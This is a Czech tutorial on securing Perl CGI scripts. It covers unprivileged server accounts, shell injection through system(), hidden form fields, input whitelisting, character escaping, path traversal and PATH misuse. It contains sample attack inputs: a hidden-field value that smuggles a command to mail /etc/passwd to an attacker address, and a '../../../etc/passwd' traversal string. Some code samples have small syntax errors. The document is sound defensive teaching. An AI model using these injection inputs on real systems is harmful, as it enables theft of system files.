Bezpečnost a CGI scripty

Proč jsou CGI scripty problematické z hlediska bezpečnosti?

CGI script je jakýsi malý server, který obsluhuje požadavky libovolného uživatele ze sítě. Autor CGI scriptu někdy chybně předpokládá určitý způsob spuštění s jistými parametry z lokálně uložené html stránky, ale skutečnost je jiná. Nelze předpokládat, že uživatelé spouštějí skripty pouze z formuláře, který je uložený lokálně na vašem systému. Můžete omezit přístup ke skriptu na jisté IP adresy nebo jeho spuštění spojit se zadáním hesla a jména uživatele, nemůžete ale kontrolovat jak bude script spuštěn. Skript může být spuštěn z jakéhokoli formuláře odkudkoli z Internetu. Vstup z formuláře je možné i obejít a volat script přímo v URL. Vždy počítejte s tím, že některé vstupní parametry nejsou vůbec zadány a jiné mají zcela neočekávanou hodnotu.

Většina nebezpečí přichází prostřednictvím vstupních dat, které autor CGI scriptu neočekává.

CGI scripty představují nebezpečí ve dvou směrech:

Jak se vyhnout nejčastějším chybám

Spuštění WWW serveru

Základní chybou je provozování serveru pod privilegovaným uživatelem, jsou vidět i případy, kdy server běží jako root.

WWW server implicitně běží na portu 80. Pravdou je, že pro získání portu 80 v operačním systému unix jsou potřeba privilegia root uživatele. WWW server však po nastartování již privilegia nepotřebuje a pomocí volání setuid se jich může vydát. V praxi se do konfiguračních souborů serveru možné specifikovat uživatele, pod kterým server poběží.

WWW server by měl běžet jako neprivilegovaný uživatel. Často je WWW server a tedy i CGI script spouštěn jako uživatel nobody - obecný neprivilegovaný účet. Další možností je vytvoření a využití samostatného vyhrazeného uživatele pro www server. To však neznamená, že WWW a CGI není nebezpečný pro systém.

Nebezpečné akce:

  1. Poslání souboru passwd pomocí e-mailu útočníkovi.
  2. Poslání struktury filesystému útočníkovi.
  3. Poslání systémových informací z adresáře /etc.
  4. Zapnutí login serveru na vysokém portu a připojení se telnetem.
  5. Zrušení a/nebo změna logových souborů serveru.

Základní pravidlo: nikdy nedůvěřujte vstupu od uživatele.

Příklad zneužití e-mailu z WWW

Často tvůrci WWW serveru chtějí, aby mohl návštěvník jejich Web serveru poslat e-mail na uvedenou adresu. Autor CGI scriptu tedy napíše script, který data zapsaná návštěvníkem Webu např. do formuláře uloží do pracovního souboru a tento pracovní soubor pak odešle e-mailem na adresu uvedenou v hidden poli formuláře. K uložení adresy použije hidden pole formuláře, aby bylo možné adresu případně snadno změnit bez modifikace scriptu.
<INPUT TYPE="hidden" NAME="FooAddress VALUE="adr@poc.kdesi.com">
V CGI scriptu napsaném v Perlu pak k odeslání mailu použije autor příkaz
system("/usr/lib/sendmail -t $adresat < $vstup_soubor");
V čem je nebezpečí?

Na základě příkazu system založí systém nový shell. Autor scriptu nesprávně předpokládá, že uživatel bude script aktivovat pouze z příslušného formuláře a že adresa uživatele bude vždy autorem uvedná adresa. Útočník si však může zkopírovat formulář na svůj počítač, kde ho opravý a výsledek může vypadat např. takto.

<INPUT TYPE="hidden" NAME="FooAddress
VALUE="adr@poc.kdesi.com;mail cracker@tady.com </etc/passwd">

V perlu nejen příkaz systém, ale i další příkazy zakládají nový shell /bin/sh k provedení příkazu.

Do problémů vás může přivést také příkaz eval nebo regulární výraz s přepínačem /e.

Jak tedy správně postupovat?

1.Použití hidden pole ve formuláři

Předávání hodnot prostřednictvím hidden pole formuláže není vůbec bezpečné. Obsah hidden pole je viditelný ve zdrojovém tvaru html stránky. Každý uživatel tedy může jejich hodnoty změnit např. po lokálním uložení dané stránky a poslat vám do scriptu zcela jiné hodnoty.

2. Vyhněte se spuštění shellu.

Pokud je to možné vyhněte se spuštění shellu. Pokaždé není možné se vyhnout volání příkazu eval(), exec(), system(), popen(). V některých případech však je možné obejít předávání vstupních informací od uživatele přímo do shellu. K poslání mailu můžete použít program sendmail, který má volbu -t. spuštění sendmailu s volbou -t zajistíte ignorování adresy zadané na příkazovém řádku a použití hlavičky To:. Vždy by se mělo zkusit najít cestu, jak se vyhnout spuštění shellu.

open(MAIL, "|usr/lib/sendmail -t");
print MAIL "To: $adresat\n";
Potenciálně nebezpečná data nejsou nyní předávaná do shellu, ale do programu sendmail. Pozor ale u některých programů, kde lze speciálním znakem zajistit spuštění příkazu např. unixový mail zvláštním způsobem interpretuje řádky začínající znakem ~ (tilda), je tak možné např. spustit program. Proto je pro poslání e-mailu výhodnější použít program sendmail.

Příkazy system() a exec() v perlu je možné použít bez spuštění shellu tak, že zadáme více než jeden parametr:

system('/usr/hry/fortune', '-o');
 
Podobně je možné použít otevření PIPE:
open(FH, '|-') || exec("program", $arg1, $arg2);

V případě že není možné se shellu vyhnout, pak je potřeba prohledat vstupní data od uživatele a odstranit z nich znaky, které mají v shelu speciální význam.

3. Vyhněte se nebezpečným vstupním datům.

Mezi tyto nebezpečné znaky patří: ;<>*|`&$!#()[]{}:'"\?~^\n\r Všimněte si že obsahují i konec řádky a návrat vozíku.

V podstatě je možné obecně použít dvě strategie při kontrole vstupních dat:

  1. "Co není eplicitně povoleno je zakázáno"
  2. "Co není explicitně zakázáno je povoleno".
Lepší strategie je kontrolovat, zda vstupní data obsahují pouze ty hodnoty, které jako autor očekávám, než naslepo odstraňovat podezdřelé znaky. I kdyby jste nepoužívali shell a předáte vstup přímo do skriptu, nemůžete si nikdy být jisti, že zadaná data neobsahují konstrukci, která odhalí chybu v programu.

Kontrola, zda jsou data bezpečná:

Př.: Kontrola, zda je e-mail adresa adresáta platnou adresou.

unless($adresat =~ /^[\w@\.\-]+$ {
    # potencialni utocnik
    exit(1)
}
Vyhledání nebezpečných znaků:

Př.:

if($to =~ tr/;<>*|`&$!#()[]{}:'"//) {
    # Vyskytuje se nebezpecny znak
    exit(1);
  }
Nebo vyloučení nebezpečných znaků:

Př.:

sub esc_chars {
  # zameni napr. a!!a za a\!\!a
     @_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
     return @_;
  } 

Kontrola cesty k souboru

Vstupním datům nemůžete důvěřovat ani v případě, že nepoužíváte volání shellu. Uvažujme část scriptu v perlu:
open(MAN, "/usr/man/man1/$soub.1");
která umožňuje HTML přístup do stránek manuálu. Ale co když uživatel použije soubor ../../../etc/passwd. Proto pokaždé když používáte cestu, kontrolujte výskyt znaků .. (dvě tečky).

Použití proměnné prostředí PATH

Nebezpečné je ukládat cestu k externímu programu do proměnné PATH. Změnou obsahu této proměnné pak může útočník spustit jako script úplně jiný program než očekáváte.Proto místo:
system("ls -l /local/web/foo");
použijte
system("/bin/ls -l /local/web/foo");